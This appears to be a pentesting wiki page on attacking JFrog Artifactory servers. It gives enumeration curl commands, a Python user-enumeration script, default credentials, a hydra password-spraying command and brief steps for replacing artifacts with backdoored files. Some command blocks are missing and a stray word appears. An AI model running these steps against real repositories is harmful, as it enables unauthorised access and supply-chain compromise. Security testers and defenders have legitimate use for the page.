For the complete documentation index, see llms.txt. This page is also available as Markdown.

Artifactory Pentesting

Theory

Artifactory is a widely used binary repository manager that serves as a central hub for managing, storing, and distributing software, binaries, artifacts and dependencies. It supports multiple package types and integrates seamlessly with build tools, CI/CD pipelines, and DevOps workflows.

From an attacker's perspective, this centralization and trust make Artifactory a high-value target. By compromising the server, we can can introduce malicious artifacts that propagate through the development pipeline, enabling supply chain attacks.

Additionally, Artifactory often contains sensitive information, such as API keys, authentication tokens, and embedded secrets within binaries or configuration files, which we may exfiltrate or use to escalate privileges or pivot to other systems.

Practice

Enumeration

Artifactory's web interface run by default on port 8081.

curl http://<TARGET>:8081

Localy, we can simply enumerate processes to determine wether Artifactory is running.

ps -ef | grep artifactory

Sometimes, because of a misconfiguration, anonymous is allowed to deploy files to some repositories!

To check which repositories the anonymous user can deploy to, use the following request:

curl http://<TARGET>:8081/artifactory/ui/repodata?deploy=true
# Or for later versions
curl http://<TARGET>:8081/artifactory/ui/api/v1/ui/repodata?deploy=true

Anonymous & Low-Privileged Users

Listing users is typically a privilege reserved for administrators. However, using the script belows, leveraging the “Deployed By” attribute associated with artifacts, we can enumerate users actively involved in deployments

enum_artifacts_users.py
# Original Script: https://gist.github.com/gquere/347e8e042490be87e6e9e32e428cb47a
# This script was adapted to support Authentication 

import requests
import json
import urllib3
import sys
import argparse

# SUPPRESS WARNINGS ############################################################
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# ADD USER #####################################################################
def check_users(details, users):
    if 'createdBy' not in details:
        return

    if details['createdBy'] not in users:
        print('Found user {}'.format(details['createdBy']))
        users.append(details['createdBy'])
    if details['modifiedBy'] not in users:
        print('Found user {}'.format(details['modifiedBy']))
        users.append(details['modifiedBy'])

# MAIN #########################################################################
def main():
    # Parse command-line arguments
    parser = argparse.ArgumentParser(description="Process repositories and check users.")
    parser.add_argument("url", help="Base URL of the API")
    parser.add_argument("--user", help="Username for Basic Authentication")
    parser.add_argument("--password", help="Password for Basic Authentication")
    args = parser.parse_args()

    url = args.url.rstrip('/')
    auth = (args.user, args.password) if args.user and args.password else None

    session = requests.Session()
    users = []

    try:
        response = session.get(url + '/api/repositories', verify=False, auth=auth)
        response.raise_for_status()
        repositories = json.loads(response.text)
    except Exception as e:
        print(f"Failed to fetch repositories: {e}")
        sys.exit(1)

    print('There are {} repositories to process'.format(len(repositories)))
    for repository in repositories:
        try:
            response = session.get(url + '/api/storage/' + repository['key'], verify=False, auth=auth)
            if 'json' not in response.headers.get('Content-Type', ''):
                continue
            rep = json.loads(response.text)

            for child in rep.get('children', []):
                uri = child['uri']
                response = session.get(url + '/api/storage/' + repository['key'] + uri, verify=False, auth=auth)
                if 'json' not in response.headers.get('Content-Type', ''):
                    continue
                details = json.loads(response.text)
                check_users(details, users)
        except Exception as e:
            print(f"Error processing repository {repository.get('key', 'unknown')}: {e}")


if __name__ == "__main__":
    main()

We can run the script as follows:

Admin Users

If we have administrative rights, we can enumerate users as follows:

Authentication

By default, no password locking policy is in place which makes Artifactory a prime target for credential stuffing and password spraying attacks.

Artifactory’s default accounts are:

Account
Default password
Notes

admin

password

common administration account

access-admin

password (<6.8.0) or a random value (>= 6.8.0)

used for local administration operations only

anonymous

’’

anonymous user to retrieve packages remotely, not enabled by default

We can brute-force access-admin's password using hydra and BasicAuth as follows

hydra -l access-admin -P /usr/share/wordlists/rockyou.txt <TARGET-IP> http-get "/artifactory/api/repositories:S=200" -s 8081

Modifying Artifacts

If you have administrative/write access to a repository, you can upload a malicious file to replace an original one.

First, enumerate repositories

Once we found a interesting file to backdor (e.g http://<TARGET>:8081/artifactory/api/storage/SimpleRepo/app.exe)

We can replace the file as follows

Post-Exploitation

We can copy the database (as artificers usually lock database files) and access the copy to retrieve sensitive information.

To access the Derby database, it is necessary to download/use the Derby tools, specifically the ij Apache utility.

lala

Resources

Last updated